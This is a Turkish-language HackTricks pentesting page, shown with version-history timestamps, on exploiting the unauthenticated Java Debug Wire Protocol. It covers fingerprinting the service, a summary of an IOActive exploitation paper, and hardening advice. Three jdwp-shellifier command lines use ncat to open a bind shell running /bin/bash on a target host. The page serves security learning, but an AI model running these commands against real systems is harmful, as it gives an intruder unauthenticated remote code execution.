hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md

87 lines
6.8 KiB
Markdown
Raw Normal View History

2024-02-10 18:14:16 +00:00
# JDWP Pentesting - Java Debug Wire Protocol
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2024-01-03 10:42:55 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 18:14:16 +00:00
## Sömürme
2024-02-10 18:14:16 +00:00
JDWP sömürüsü, **protokolün kimlik doğrulama ve şifreleme eksikliğine** dayanır. Genellikle **8000 numaralı portta** bulunur, ancak diğer portlar da mümkündür. İlk bağlantı, hedef porta "JDWP-Handshake" göndererek yapılır. Eğer bir JDWP hizmeti etkinse, aynı dizeyle yanıt vererek varlığını doğrular. Bu el sıkışması, ağdaki JDWP hizmetlerini tanımlamak için bir parmak izi yöntemi olarak işlev görür.
2024-02-10 18:14:16 +00:00
Süreç tanımlamasıısından, Java süreçlerinde "jdwk" dizesini aramak, etkin bir JDWP oturumunu gösterebilir.
2024-02-10 18:14:16 +00:00
En yaygın kullanılan araç [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)'dır. Farklı parametrelerle kullanabilirsiniz:
```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
2024-02-10 18:14:16 +00:00
`--break-on 'java.lang.String.indexOf'` kullanımının saldırıyı daha **istikrarlı** hale getirdiğini buldum. Ve eğer bir ana bilgisayara bir arka kapı yüklemek ve bunun yerine bir komut çalıştırmak için şansınız varsa, saldırı daha da istikrarlı olacaktır.
2024-02-10 18:14:16 +00:00
## Daha Fazla Detay
2024-02-10 18:14:16 +00:00
**Bu, [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) adresindeki bir özetidir**. Daha fazla ayrıntı için kontrol edin.
2024-02-10 18:14:16 +00:00
1. **JDWP Genel Bakış**:
- Paket tabanlı bir ağ ikili protokoldür, temel olarak senkroniktir.
- Kimlik doğrulama ve şifreleme eksikliği, düşmanca ağlara maruz kaldığında savunmasız hale getirir.
2024-02-10 18:14:16 +00:00
2. **JDWP El Sıkışması**:
- İletişimi başlatmak için basit bir el sıkışma süreci kullanılır. Hata Ayıklayıcı (istemci) ve Hata Ayıklanan (sunucu) arasında "JDWP-Handshake" adında 14 karakterlik bir ASCII dizesi alışverişi yapılır.
2024-02-10 18:14:16 +00:00
3. **JDWP İletişimi**:
- Mesajlar Uzunluk, Kimlik, Bayrak ve KomutSeti gibi alanlara sahip basit bir yapıya sahiptir.
- KomutSeti değerleri 0x40 ile 0x80 arasında değişir ve farklı eylemleri ve olayları temsil eder.
2024-02-10 18:14:16 +00:00
4. **Sömürü**:
- JDWP, keyfi sınıfların ve baytların yüklenmesine ve çağrılmasına izin verir, bu da güvenlik riskleri oluşturur.
- Makale, Java Runtime referanslarını almak, kesme noktalarını ayarlamak ve yöntemleri çağırmak gibi beş adımdan oluşan bir sömürü sürecini detaylandırıyor.
2024-02-10 18:14:16 +00:00
5. **Gerçek Hayat Sömürüsü**:
- Potansiyel güvenlik duvarı korumalarına rağmen, JDWP hizmetleri ShodanHQ ve GitHub gibi platformlarda arama yapılarak gerçek dünya senaryolarında keşfedilebilir ve sömürülebilir.
- Sömürü betiği çeşitli JDK sürümleri üzerinde test edildi ve platform bağımsızdır, güvenilir Uzaktan Kod Yürütme (RCE) sunar.
2024-02-10 18:14:16 +00:00
6. **Güvenlik Sonuçları**:
- İnternette açık JDWP hizmetlerinin varlığı, düzenli güvenlik incelemeleri yapma, üretimde hata ayıklama işlevlerini devre dışı bırakma ve uygun güvenlik duvarı yapılandırmaları yapma ihtiyacını vurgular.
2024-02-10 18:14:16 +00:00
### **Referanslar:**
2024-02-04 10:58:49 +00:00
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
* [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
* http://www.secdev.org/projects/scapy(no longer active)
* [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
* http://www.hsc-news.com/archives/2013/000109.html (no longer active)
* [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
* https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
* [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2024-01-03 10:42:55 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live).
* Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek **hacking hilelerinizi paylaşın**.
2022-04-28 16:01:33 +00:00
</details>